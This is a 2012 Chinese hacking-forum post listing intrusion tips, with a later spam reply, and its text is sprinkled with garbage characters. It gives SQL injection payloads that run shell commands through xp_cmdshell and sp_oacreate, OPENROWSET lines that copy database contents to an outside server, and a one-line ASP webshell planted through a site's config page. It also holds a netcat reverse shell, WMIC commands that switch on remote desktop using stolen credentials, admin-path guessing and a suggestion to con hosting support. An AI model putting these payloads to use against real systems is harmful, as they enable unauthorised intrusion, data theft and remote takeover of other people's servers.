找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3794|回复: 1
打印 上一主题 下一主题

站库分离的方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:41:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
SA点数据库分离技术相关* d7 {  i2 A" S. @1 B) N

# }& K  f( U& k: G  J' j* N, B2 L' g
+ Z8 Z: e, h$ k  y# @. L; GSA点数据库分离搞法+语句:" x2 }; z/ x* q6 E4 }
/ R( u5 C) a3 L
注射点不显错,执行下面三条语句页面都返回正常。3 w$ I; o# C3 o2 v/ i) _: B' s
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')+ o- T: z0 m6 T% }. d0 ^* q! G5 i
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')
$ j, |2 T3 T; v$ Yand 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')0 c+ C9 F" i1 T5 ]# T+ r8 U
可以列目录,判断系统为2000,web与数据库分离
2 l3 Y: T# n. H$ U8 S6 y4 E遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。
4 h4 w7 @+ H. Y, I在注射点上执行
& h9 S' f5 |2 q+ g& Vdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--
: \, Q1 b# T" r7 N! ~页面返回正常,通过上面这个命令执行telnet我一个外网肉鸡得1433端口,然后netstat/an没有得到IP! D+ |+ x# q3 ^/ b/ ^
还有我用NC监听得其他端口都没有得到IP。1 p2 |% v/ r. {) O# D
& g! y+ D/ L3 I& d
通过注射点执行下面这两个命令页面都返回异常,在肉鸡上面同样也是没有得到IP。2 p) x3 Y7 t9 U% n# t7 o6 q. Q
'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--
, d% I/ l3 R0 A* M7 H, J7 ?% }6 ]  p6 V- j" ]6 Q0 W7 p
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--
; J  x" Y1 K% }8 X' Q2 K' E! E  \( d' a9 y  Q1 V0 O  T
现在就猜想是不是数据库是内网而且不能连外网。7 \0 i! d' T2 Q. N

: ]3 s& |0 O8 b5 Y4 J' I
  B( ]# s5 [/ |access导出txt文本代码3 n. E  X5 s1 _. t% [* r
SELECT * into [test.txt] in 'd:\web\' 'text;' from admin" X+ ?: R; @( u, b4 f* z

! m) p7 H" ?6 }8 y4 C' l# w3 J; r5 F4 t" {& N2 Y  p& q
. A7 R+ ]0 O1 M5 @& ~
自动跳转到指定网站代码头
/ D7 q& J& f7 T# }9 b& K<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>6 N0 h0 z1 [" T# P8 q& q4 C! K
* N6 l2 y) z2 ]/ _6 O
2 h3 n. b+ G# l+ H( m+ x
入侵java or jsp站点时默认配置文件路径:
  O, s' f  P9 R3 }' r# j\web-inf\web.xml- G/ h, D' d/ Q  i% E3 J6 _
tomcat下的配置文件位置:7 x  [, U/ @% }# o( H
\conf\server.xml            (前面加上tomcat路径)  f, l1 q9 m# `* o% M% D
\Tomcat 5.0\webapps\root\web-inf\struts-config.xml
3 Z6 y/ I* `# Y/ a
0 m. I1 t. H1 [+ V, z# A  x% A: O) |0 s7 F* ~$ U$ v$ C
+ N7 z4 e1 p; ?& ?* r7 J; R) i
检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:
  ^* G) R! n# V% E& I' |: F( e0 N5 f0 h-1%23
9 b" B! J3 m' f+ p1 ~- ?0 {>
4 L- }) |4 s7 Q<2 A# R4 s# y6 F% x
1'+or+'1'='1
7 {( O$ s5 u, p+ ~# I3 E/ g0 ?4 Jid=8%bf; M  `5 \: g, s& x$ b- c& }( f& u( h

4 |5 a# B- P, h5 N- J7 L+ E! ^% ?全新注入点检测试法:
, N/ b5 |/ c$ [# Y' @# n在URL地址后面加上-1,URL变成:http://gzkb.goomoo.cn/news.asp?id=123-1,如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞,是数字型的。+ L4 @( y6 G9 P. S

% t. E: E; h( L2 I+ t' k在URL的地址后面加上'%2B',URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2B',返回的页面和1同;加上'2%2B'asdf,URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf,返回的页面和1不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。
9 Z& H+ k. p( W- J9 b
5 ]+ }7 t$ ^6 Q1 G" M/ {- K8 q! d搜索型注入判断方法:1 J/ P9 w/ C6 ~. P$ u6 G/ G% D: x
北京%' and '1'='1' and '%'='
; k0 v- R8 s7 @) ]* {北京%' and '1'='2' and '%'='
  j+ X" W5 P% ^0 N  q
  C# I7 k( q/ A# p! N
, C9 p9 o% ?0 l- l; w8 TCOOKIES注入:
& E7 K" W2 J: c$ ?' ]. o3 {6 f6 l5 j( g+ L0 \0 R0 v& `
javascript:alert(document.cookie="id="+escape("51 and 1=1"));
9 q9 h0 x4 P/ l! H! {/ P5 A
+ k1 k7 C, `# x! r% d5 [& ]2000专业版查看本地登录用户命令:2 \5 Z1 Y0 W* P8 F; x
net config workstation
! \+ G3 y% Y8 L) V4 ^3 H4 X$ A' N# S8 R3 B* o

! Y4 O; X) u2 C$ i9 i2003下查看ipsec配置和默认防火墙配置命令:
, B# u* b& O: j! V4 Bnetsh firewall show config1 E5 F& f# W6 |4 V) q; ^  e; U* Q
netsh ipsec static show all
/ q) E* f. e6 O/ z" V
$ M; Y1 W, n0 {; _. A9 f0 _3 p( A. d不指派指定策略命令:
  j7 C; d0 U. ?+ ?" |netsh ipsec static set policy name=test assign=n  (test是不指派的策略名)1 M4 a0 w  A, @' w: A; K# I
netsh ipsec static show policy all  显示策略名
' @" C$ V, U; j: _+ t. v) `5 p8 S" [$ d( L" Q5 V

# R- a+ q% W3 h; e猜管理员后台小技巧:1 e2 ^8 c+ m3 Q9 u- B! c/ f
admin/left.asp 7 `' {9 x/ s" j( U
admin/main.asp
4 C8 J6 ^' Z3 ]& U' i/ w" u& i- T' Yadmin/top.asp
) }9 O5 Q/ v$ p# Iadmin/admin.asp
3 p* j$ m% |5 J5 N会现出菜单导航,然后迅雷下载全部链接
  A* \# K" @: c& ?# E7 O1 n7 I( u/ ]- x. {, O9 `$ Z

1 r8 R! A  g- _: a6 ?  z: G  P+ \社会工程学:
/ [# a! e3 f0 R# S8 ]* q用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人( y$ v  d6 c+ s5 j. w
然后去骗客服" e. H5 b& L8 q) y9 e* j( [8 L& m

, l* k5 P! [6 U
$ Y7 a1 V" \% k8 Q统计系统使用的是IT学习者的统计系统,在网上下载了一套回来研究。这样的系统拿webshell一般就二种:1.数据库插一句话木马,客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录,发现数据库扩展名是asp的,默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb,用明小子的数据库工具打开,发现有防下载的表。管理员的默认密码是:ITlearner。数据库插一句话木马这条路是走不通了,现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码:
  Q: r! e" D/ l# ^' W4 f查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">,
/ _# m  o2 v% Z, N, Y1 m  存为html文件打开后在最后详细来访信息记录多少条记录,默认为100条框输入100:eval request(chr(35)),点击保存。提示无法找到,结果发现。
1 Z! b, f& B: p- k, E
1 Z" j( Z# g$ k9 U
: b& X8 F5 c+ D0 W. \
! y1 }9 X$ m# f) Z" s3 y6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞, 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查)
: ~2 U  g- Y+ C
9 ]; _6 o7 \: e3 P& U/ l4 W8 h6 U, g
* n$ O1 y$ T2 r# c( u1 p5 E
CMD加密注册表位置$ s2 n; t5 V! o) V; O  p  s
(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor
1 j/ l, }6 R; C  @; s, ?8 x1 BAutoRun7 X' r0 d+ x5 U) H; W- p
: G, [3 R: O) |2 L. V7 m
(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor( p' F+ e$ i" C8 ?
AutoRun1 A7 V) G! k& C! ?* B% ]
; A9 f. F" X- x  v
# J& _4 C8 X0 s
在找注入时搜索Hidden,把他改成test# e5 E0 R' _: P3 N9 Z

- J7 O& S. }. h5 F& N4 U
8 x( i% K$ V$ K2 h8 T; G' M, v% Z7 E6 D& V0 R9 C
mstsc /v:IP /console
  k0 U. U3 h  e, i& `( y2 g  P/ l; _" Y( J  Q

$ P6 B" v' c1 n( x一句话开3389:9 ~0 c- h4 V. f

! s: Z( f# v3 b- O' r2 F4 ?& a, j最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>  ( o0 Y7 g# a$ s' _) A
开远程:WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1          就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.
, K; o8 [5 E. H' r$ u' O, h  B+ S0 D1 z: C* g) w1 H& Q7 k
' Z6 ~% H+ {( Y0 N" ~+ R
知道表名,字段,使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:" h: ~, M) b! _5 p
Insert into admin(user,pwd) values('test','test'): x6 O: O* b, v8 v
- d2 u& w5 t+ |. O2 s. g! p4 l/ F

$ R( y9 }2 D/ q/ D. rNC反弹9 N8 F) M$ t3 ?( u; x
先在本机执行:     nc -vv -lp 监听的端口     (自己执行)   
) }& P* m& _/ C, W7 Z7 h2 u6 E然后在服务器上执行:  nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)7 p/ ~6 h* ?4 X- d) n

( E7 q1 g$ l$ h2 _/ `4 [- F
; `3 F/ x  [" p( F% i在脚本入侵过程中要经常常试用%00来确认下参数是否有问题
: P% x& m. _  |" _4 C
# Y  X5 `) J) F" R/ E2 N% S/ {2 H有时候我们入侵的时候,在webshell没有办法列举网站的目录包括dir也不行的时候,这个时候可以尝试用DOS命令SUBST转移目录" y, c) O) w+ a* w) ?
例如:$ {0 J% |% I" Q" _: Q
subst k: d:\www\ 用d盘www目录替代k盘8 e/ D% W; ~! [# j, b. F; _
subst k: /d  解除K盘代替
回复

使用道具 举报

沙发
匿名  发表于 2017-12-20 02:36:51
We are a group of volunteers and starting a new scheme in our community.
Your web site offered us with valuable information to work on. You've done a formidable job and our entire community will
be grateful to you.
Website: Antispur Duo Forte proprieta
回复 支持 反对

使用道具

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表